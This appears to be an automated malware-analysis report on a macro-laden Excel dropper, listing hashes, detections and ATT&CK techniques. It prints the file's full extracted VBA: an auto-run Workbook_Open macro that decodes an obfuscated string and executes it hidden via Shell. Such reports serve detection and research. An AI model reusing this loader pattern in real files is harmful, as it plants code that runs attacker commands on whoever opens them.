Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ce7d7d4b45116fc6…

MALICIOUS

Office (OLE)

24.0 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-03-15
MD5: 725e148fe02413180043beb27658f1c9 SHA-1: cb3b042ec7bebba6ae7483051f621410c2711882 SHA-256: ce7d7d4b45116fc63d22e1031811ce3eccea5338c19744dd9e481307cef0a4da
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file is an Excel document containing VBA macros, specifically a Workbook_Open macro. This macro calls a function that appears to deobfuscate and execute a string using the Shell command. The ClamAV detection name 'Xls.Dropper.Agent-1563585' suggests this is a dropper, likely intended to download and execute a second-stage payload. The VBA code is heavily obfuscated, making it difficult to determine the exact URL or payload without further dynamic analysis.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-1563585 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-1563585
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell oPOJidsf, vbHide
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2341 bytes
SHA-256: 168d1f799fd478e3582a73496ba192c9235115b2d79ba86579df26b41332ac52
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
    tyrtyaag
End Sub

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Const yY1UL = "JsrfRsPb"
Private Const DDuKQ = "­аЦ†ЃѕpІвйЛДЖёЇЯЮ”·лµj›АЛЙ џ¬ЭЧЙЖ“ЈГжжЛїЎћЇз Ѕ·Х“¶ЬЧФЖњ~ЋвйФѕв±®№ЫТ·›wІзжЦЊў ~© љЂҐѓ|Ў¤–€ўГ®ШбЛёШ¶ЅўЦМЕж»xЦУИyџwoЗ·іў�¬”јБПБЧ¶ІЬбЇљЎі«Х™ЏЌ“µВгУФ¶“uћёї¶wПљ“ВЫХ¶Щёів»®ЂЦ±¬“—є—А oПјЇЎЬї®ЩЪПБј�xШкЛЌ“ГѕФдЪr�¤ЏАВ‹®Ѕ™™ЬбКёЫ№№јє”·лµ…"

Sub tyrtyaag()
oPOJidsf = lqjWjFO(DDuKQ, yY1UL)
Shell oPOJidsf, vbHide
End Sub


Attribute VB_Name = "Module2"
Public Function lqjWjFO(ByVal strData As String, ByVal strKey As String)

Dim bData() As Byte
Dim bKey() As Byte
bData = StrConv(strData, vbFromUnicode)
bKey = StrConv(strKey, vbFromUnicode)
For i = 0 To UBound(bData)
If i <= UBound(bKey) Then
bData(i) = bData(i) - bKey(i)
Else
bData(i) = bData(i) - bKey(i Mod UBound(bKey))
End If
Next i
 lqjWjFO = StrConv(bData, vbUnicode)
End Function

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